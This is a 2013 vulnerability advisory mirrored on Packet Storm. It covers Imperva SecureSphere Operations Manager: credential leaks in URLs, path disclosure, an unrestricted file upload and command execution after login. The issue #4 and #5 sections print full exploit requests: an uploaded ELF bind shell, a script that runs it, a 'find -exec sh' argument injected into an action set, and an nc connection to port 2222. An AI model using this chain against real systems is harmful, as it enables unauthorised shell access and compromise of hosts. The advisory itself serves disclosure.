what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Imperva SecureSphere Operations Manager Command Execution

Imperva SecureSphere Operations Manager Command Execution
Posted Jun 3, 2013
Authored by Pedro Andujar

Imperva SecureSphere Operations Manager version Enterprise Edition suffers from path disclosure, command execution, and arbitrary file upload vulnerabilities.

tags | exploit, arbitrary, vulnerability, file upload
SHA-256 | eec04250ec48215aa48bf604cc560ffa6c8c039d2efdf01586190d7250bc757b

Imperva SecureSphere Operations Manager Command Execution

Change Mirror Download
Original: http://www.digitalsec.net/stuff/explt+advs/Imperva-SecureSphere.OptMgr.txt

- Advisory -

Tittle: Imperva SecureSphere Operations Manager - Command
Execution (Post Authentication) & Minor issues
Risk: High
Date: 27.May.2013
Author: Pedro Andujar

.: [ INTRO ] :.

SecureSphere Operations Manager (SOM) is a multi-domain, federated
management solution that dramatically improves the operational
efficiency of managing SecureSphere deployments with multiple MX
Management Servers. SOM meets the operational scalability
demands of large enterprises and Managed Security Service Providers by
consolidating the management, visibility and reporting
across multiple SecureSphere MX Management Servers, and provides
system wide health metrics and statistics.


Imperva SecureSphere Operations Manager version Enterprise
Edition and probably others are prone to several security issues
as described below;

.: [ ISSUE #1 }:.

Name: Autocomplete atribute not disabled in login page
Severity: Low

AUTOCOMPLETE is not disabled on the /secsphLogin.jsp page. This
prevents the web browser specifically caching the username and
j_password fields.

<tr> <td style="width: 120px"> <h1 class="login">User:</h1> </td> <td>
<input size=30 id="username" type='text' name='j_username'
style="width:172px" value="andujarp" />
</td> </tr> <tr>
<td style="width: 120px">
<h1 class="login">Password:</h1>
</td> <td>
<input size=30 type='password' name='j_password' style="width:172px"/>

.: [ ISSUE #2 }:.

Name: Sensitive information is passed as parameter in URL
Severity: Low

As part of the login process, the assigned session ID is revealed as a
URL parameter.

GET /SecureSphere/secsphLogin.jsp;jsessionid=8B4AE9F3C99049824D4AEBBF61DEF6A5

Additionally, the some credentials are revealed as a URL parameter
when trying to get the details of a sensor device:

GET /SecureSphere/j_acegi_security_check?j_password=5352023200062562773&j_username=SOM-user&remote_login_attempt=true&active_mom_user=andujarp

.: [ ISSUE #3 }:.

Name: Physical Path Disclosure
Severity: Low

The SecureSpere web application discloses sensitive system
information, including file path information, through its exposed
Specifically, the
url resource shows the internal
root path of the underlying Application Server;

HTTP/1.1 200 OK
Content-type: text/javascript;charset=utf-8
Content-Length: 554
Date: Thu, 25 Oct 2013 04:41:38 GMT
Server: NA

throw 'allowScriptTagRemoting is false.';
var s0={};var s1=[];s0['file_size']="412

See also ISSUE #4, where additional file path disclosure occurs.

.: [ ISSUE #4 }:.

Name: Insufficients checks on file upload
Severity: High

The SecureSpere web application file upload functionality from the
.Key Management. section doesn't provide an adequate security control
of the uploaded
files, thus allowing an external attacker to upload arbitraty content
into the server. This can be used as an attacker in combination with
vulnerabilities in the application to compromise the Host.

When trying to upload an invalid file in the Key Management section,
the application shows the full internal path of the application
server. Additionally,
it effectively uploads the file, despite being a wrong filetype.

The example below shows the file upload functionality outputting an
error when the file gets uploaded, additionally revelaing the upload
filename and its
internal path within the system. A Linux x86_64 ELF port 2222 bind
shell and additional shell script are uploaded to /var/tmp dir:

POST /SecureSphere/plain/settings.html?__targetView=details&extraParams[Key]=T/keyManagement
Host: x.x.x.x:8083
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://x.x.x.x:8083/SecureSphere/ui/main.html
Cookie: JSESSIONID=CBAD5B77716363AFC961614AC32CAD4D
Content-Type: multipart/form-data;
Content-Length: 1011
Content-Disposition: form-data; name="def_name"
Content-Disposition: form-data; name="private_key"; filename="bndsh"
Content-Type: application/octet-stream
ELF > x@@@8 @@$ j)Xj _j ^HR $ ziHj Zj1Xj2XH1j+XHj ^Hj!Xuj;XH/bin/shSHRWH
Content-Disposition: form-data; name="public_key"; filename="script"
Content-Type: application/octet-stream
file file* | grep ELF | awk '{print $1}' | sed -e 's/://' >target.file
; chmod 755 `cat target.file` ; ./`cat target.file` ; rm -rf
Content-Disposition: form-data; name="password"

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/xml;charset=UTF-8
Content-Language: en
Content-Length: 315
Date: Fri, 26 Oct 2012 04:38:17 GMT
Server: NA
<errors> <global-errors> <global-error path="page">
An error occurred while importing keys: Failed to load PEM key from
</global-errors> <field-errors> </field-errors> </errors>

.: [ ISSUE #5 }:.

Name: Insufficients checks on Action Set (OS command)
Severity: High

The SecureSphere web applicaiton allows users to create Action Sets
via the Policies sub menu. Action Sets are components used to define
the actions taken
by SecureSphere when specific conditions are met. Action sets include
session blocks, SNMP traps, sys-tem logs, email, FTP Archive, OS
Command, etc. An
attacker can control the execution of commands by creating a task,
setting an OS command action on assignee change and cycling through
commands by continuous
modification of the task assignee. The OS command action allows the
user to supply very limited commands and arguments to the server host
and have these
commands executed within the context of the .mxserver. user. The
application host is running a modified version of Red Hat Linux, with
many networking and
scripting tools installed by default. Due to insufficient host
hardening and application sandboxing, an attacker is able to execute
commands. Combining the
file upload vulnerability explained in issue 4, an attacker can copy
backdoor into the server filesystem and get it executed through this
issue, opening a
shell access to the host as the .mxserver. user. The attacker is able
to use this foothold into the host to elevate privileges, view and
modify source code,
obtain system and application credentials, etc.

POST /SecureSphere/plain/actionsets.html HTTP/1.1
Host: x.x.x.x:8083
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.4.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
preffered_encoding: utf-8
Referer: https://x.x.x.x:8083/SecureSphere/ui/main.html
Content-Length: 5223
Cookie: JSESSIONID=ABD89957C38AD685A881670E31A7BF1A
Pragma: no-cache
Cache-Control: no-cache



[arguments].value=-name file\* -exec sh {} \;




In the example above, we have set an event action-set, and as soon the
event happens it will launch the predefined action (/usr/bin/find .
-exec sh {})
which will execute sh over all the files existing in /var/tmp. As we
were able to upload arbitrary content within the local filesystem by
means of the
issue 4, the following script that was previously uploaded will be
executed as well:

file file* | grep ELF | awk '{print $1}' | sed -e 's/://' >target.file
; chmod 755 `cat target.file` ; ./`cat target.file` ; rm -rf

The script will find, rename and execute the bind tcp shell that was
uploaded before, allowing us to access through an interactive Linux
shell in port 2222,
with the privileges of mxserver.

[crg@fogheaven ~]$ nc x.x.x.x 2222
uname -a;id
Linux xxxxx.xxxx.xx 2.6.18-164.15.1.el5.impl #1 SMP Tue Apr 27
20:46:55 IDT 2010 x86_64 x86_64 x86_64 GNU/Linux

.: [ CHANGELOG ] :.

* 25/Oct/2012: - Audit done, reported to client.
* 27/May/2013: - Sent to Imperva.
* 02/Jun/2013: - Public Disclosure.

.: [ SOLUTIONS ] :.


.: [ REFERENCES ] :.

[+] Imperva SecureSphere Operations Manager

[+] Security Target Document

[+] Ernst & Young Advanced Security Centre - Melbourne

[+] !dSR - Digital Security Research

Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By